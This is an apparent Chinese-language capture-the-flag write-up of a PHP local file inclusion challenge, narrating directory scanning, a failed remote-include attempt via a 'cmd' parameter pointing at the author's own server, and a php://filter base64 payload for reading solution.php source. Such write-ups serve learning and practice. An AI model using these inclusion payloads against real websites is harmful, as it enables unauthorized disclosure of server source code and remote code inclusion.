live_lfi(php本地文件包含)

题目地址
如题目所提示,是PHP文件包含漏洞。
访问给出的题目地址,网页提示“网站正在建设中”

扫描目录

和所有web漏洞一样,先dirbuster扫描一下

test.php报错


require_once()语句在脚本执行期间包含并运行指定文件
/home/level/14_live_fi/www/test.php不是一个目录,然后报错了。

info1:网站所在目录路径: /home/level/14_live_fi/www/

猜解参数

猜测应该是远程文件包含remote file include,于是访问rfi.php发现页面是空白。

因为看不到源码,所以只能爆破试试。
发现cmd是可能的命令参数。
/temp/rfi.php?cmd=http://127.0.0.1:80/test.php

查看源代码,多了<pre></pre>这个字符串。

访问/temp/rfi.php?cmd=http://vps的ip:888/whale.php

远程文件包含似乎没有成功。

所以搞不懂cmd这个参数到底怎么用。

重新扫描

找不到线索,于是重新扫描

info2: 整理下已知网站目录
http://lfi.warchall.net/protected/
http://lfi.warchall.net/temp/

http://lfi.warchall.net/protected/logs/20180905_critical_details.txt
可以分析出,log目录下,记录了来自各地的尝试文件包含的攻击记录。

而这个攻击记录,则表明,文件包含使用的是require_once()这个函数
而漏洞指明了index.php 的第11行。

线索

于是我返回了index.php

现在考虑一下,题目意思是什么,本地文件包含通常会泄露敏感信息。
然后下一步就是找flag了吧

找不到flag所在的路径啊!好气

writeup

writeup
看了一些wp,发现解题思路是这样的:solution.php因为是脚本文件,所以客户端是不能直接查看的。

要通过以下协议,将php编码一下再查看。?lang=php://filter/convert.base64-encode/resource=solution.php"

按照wp,这道题其实坏了,得不出flag的。有点坑。